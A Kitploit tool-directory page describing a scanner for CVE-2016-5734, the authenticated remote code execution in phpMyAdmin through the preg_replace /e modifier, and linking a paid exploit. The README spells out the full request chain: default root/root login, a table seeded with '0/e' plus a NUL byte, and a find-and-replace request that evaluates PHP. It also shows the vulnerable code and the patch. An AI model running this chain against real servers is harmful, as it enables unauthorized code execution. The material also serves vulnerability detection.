Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2016-5734 — Scanner and exploit for CVE-2016-5734, an authenticated RCE in phpMyAdmin 4.0.x/4.4.x/4.6.x via the preg_replace /e modifier in table find-and-replace. | Kitploit
أدوات/GitHubGitHub/jonathan1010/cve-2016-5734
Vulnerability ScannersWeb Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubjonathan1010/cve-2016-5734

CVE-2016-5734

Scanner and exploit for CVE-2016-5734, an authenticated RCE in phpMyAdmin 4.0.x/4.4.x/4.6.x via the preg_replace /e modifier in table find-and-replace.

عرض المستودع
4 ديسمبر 2026لم تتم المراجعة بعد

أدوات ذات صلة

  • nuclei

    ماسح ثغرات سريع يعتمد على YAML مع محرك كشف قائم على القوالب للاختبار الأمني الآلي عبر تطبيقات الويب، وواجهات برمجة التطبيقات (APIs)، والشبكات، وDNS، والبنية التحتية السحابية.

  • zaproxy

    ماسح أمني لتطبيقات الويب مفتوح المصدر للكشف الآلي عن الثغرات الأمنية، واختبار الاختراق اليدوي، واختبار أمان واجهات برمجة التطبيقات (API) باستخدام محرك اعتراض قائم على الوكيل.

  • openvas-scanner

    يحتوي هذا المستودع على مكوّن الماسح الضوئي لإصدار Greenbone Community Edition.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

  • 1

    Callisto

    jetp1ane/callisto

    أداة تحليل ثغرات ثنائية آلية تقوم بفك ترجمة الملفات التنفيذية عبر Ghidra، ومسح كود شبه-C باستخدام Semgrep، والتحقق من النتائج باستخدام GPT-3.5-Turbo لتقليل الإيجابيات الكاذبة.

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # تطبيق GhostLock للتنفيذ بنقرة واحدة (CVE-2026-43499)

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    منصة IMSI Catcher تنشر خلية GSM مارقة لاعتراض الرسائل النصية القصيرة وحقن الرسائل وتتبع الأجهزة المحمولة

    721
  • 4

    opencti

    opencti-platform/opencti

    منصة مفتوحة لاستخبارات التهديدات السيبرانية

    535
  • 5

    ARTEX

    baarai/artex

    منصة اختبار اختراق مستقلة متعددة الوكلاء تعتمد على LLM، مع وكلاء تخطيط وتنفيذ، ومخططات للأصول والاستكشاف، وتسجيل حركة مرور MITM، وإعادة اختبار الثغرات.

    424
  • 6

    DFRoot

    a2333c/dfroot

    أداة root لنظام Android لهاتف Samsung Galaxy S25 Ultra (SM-S938B) تقوم بتسلسل DirtyFrag CVE-2026-43284 وCVE-2026-43499 للحصول على صلاحيات root تلقائيًا عند الإقلاع عبر KernelSU.

    419

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
المحتوى غير متوفر باللغة المطلوبة. عرض النسخة الإنجليزية.

CVE-2016-5734

phpMyAdmin 4.0.x/4.4.x/4.6.x - Authenticated Remote Code Execution

Metadata

fieldvalue
CVECVE-2016-5734
severitycritical
CVSS8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H; template EPSS 0.91745, percentile 0.99814)
fixed inphpMyAdmin 4.0.10.16, 4.4.15.7, 4.6.3 (and PHP 7.0+ where /e is gone)
classpreg_replace /e (eval) modifier reachable through the table find-and-replace feature (CWE-95)
scanner version1.0.0
python3.8+ stdlib only, no third-party deps

Exploit

If you want the exploit, find it here: https://satoshidisk.com/pay/CT5RYa

Summary

The regex branch of the table search-and-replace feature builds its PCRE pattern by plain concatenation "/" . $find . "/". A cell that stores 0/e followed by a NUL byte makes the pattern terminate at the NUL, so preg_replace() sees /0/e: the stray e lands after the closing delimiter and becomes the eval modifier, which evaluates the replaceWith string as PHP code. An authenticated user (root/root is often enough) therefore runs arbitrary PHP. The template confirms execution by having the replacement print the md5 of a random nonce.

Full description

tbl_find_replace.php dispatches searchType=replace to the table search controller. In 4.6.2 the regex path is:

$result[$index][1] = preg_replace(
    "/" . $find . "/",
    $replaceWith,
    $row[0]
);

With find = 0/e plus a NUL byte, the NUL truncates the pattern string inside PCRE, the pattern collapses to /0/e, and the e modifier makes preg_replace() eval the replacement string, e.g. print(md5(<nonce>));. The digest then appears in the AJAX JSON body. On PHP 7.0+ the /e modifier no longer exists (deprecated since 5.5, removed in 7.0), so the same requests produce no digest and the host shows as not-vuln.

The 4.6.3 patch (libraries/controllers/table/TableSearchController.php) picks a delimiter that does not occur inside the find string, so no modifier character can leak past the closing delimiter:

$delimiters = array('/', '@', '#', '~', '!', '$', '%', '^', '&', '_');
... first delimiter absent from $find ...
if (!$found) { return false; }
$find = $delimiters[$i] . $find . $delimiters[$i];
preg_replace($find, $replaceWith, $row[0]);

The same fix landed in the 4.0.10.16 and 4.4.15.7 maintenance lines.

Detection model

  • Four requests per target (max-request: 4), mirroring the nuclei template flow http(1) && http(2) && http(3) && http(4).
  • Step 1: GET /index.php?lang=en; extract the session token with the template regex name="token" value="([a-f0-9]{16,})".
  • Step 2: POST /index.php?lang=en with pma_username=root&pma_password=root&server=1&target=index.php&token=<t> (accept 200 or 302, as the template does).
  • Step 3: POST /import.php with db=test&ajax_request=true&sql_query=CREATE DATABASE IF NOT EXISTS test; DROP TABLE IF EXISTS test.prgpwn; CREATE TABLE test.prgpwn (c varchar(10)); INSERT INTO test.prgpwn VALUES (UNHEX('302F6500')); where 302F6500 is 0/e plus NUL.
  • Step 4: POST /tbl_find_replace.php with db=test&table=prgpwn&goto=sql.php&columnIndex=0&useRegex=on&replace=true &submit=Go&ajax_request=true&find=0%2Fe%00&replaceWith=print(md5(<num>))%3B.
  • Matcher (verbatim from the template): the step-4 body contains the md5 of the numeric nonce num (rand_int 10000000..99999999).
  • check(url) returns (True, details) only when step 4 answers 200 and the digest substring is present; details keeps per-step status, the expected digest and a 200-char snippet.
  • A 12-char md5 token is computed over the JSON result so a merely reflected page is distinguishable from a real /e evaluation.
  • Every request retries (2 attempts, linear backoff); scheme-less hosts in urls.txt are auto-prefixed with http://.

Usage

# scanner (GitHub side): streamed CSV + optional JSON sidecar
python scanner/CVE-2016-5734/scanner.py urls.txt 8 CVE-2016-5734.csv --json CVE-2016-5734.json

# exploit (satoshidisk side): result dict + optional CSV/JSON dumps
python exploit/CVE-2016-5734/exploit.py http://target/ --csv CVE-2016-5734.csv --json CVE-2016-5734.json --verbose

urls.txt is a plain file, one target per line, # for comments.

Example scanner output

RCE POC SUITE
 scanner : CVE-2016-5734 v1.0.0
 threads : 4 | csv: CVE-2016-5734.csv | json: CVE-2016-5734.json
RCE POC SUITE
[..] loaded 1 target(s) from urls.txt
[..] [1/1] https://demo.phpmyadmin.net/QA_4_6 -> not-vuln
[..] json sidecar saved: CVE-2016-5734.json
[..] summary: total=1 vulnerable=0 not-vuln=1 errors=0
[..] timing : avg=31957ms max=31957ms wall=31.96s
[..] report saved: CVE-2016-5734.csv

Scanner report columns

columnmeaning
n1-based row number
urltarget as provided
statusok / error
vulnerableverdict
elapsed_msper-target timing
tokenmd5 proof-of-match (12 chars)
result_b64base64(JSON) full details

Files

  • scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.
  • README.md - this file.
  • DESCRIPTION.md - deeper technical notes.
  • ../../exploit/CVE-2016-5734/exploit.py - four-stage POC.

Exit codes

codemeaning
0at least one target answered
2every target errored (or no targets loaded)

The POC returns 0 when its token verification passes and 2 on verification failed.

References

  • Nuclei template: http/cves/2016/CVE-2016-5734.yaml
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2016-5734
  • GHSA: https://github.com/advisories/GHSA-rv57-479x-x4qv
  • Packetstorm/exploit-db: https://www.exploit-db.com/exploits/40185
تنزيل الأداة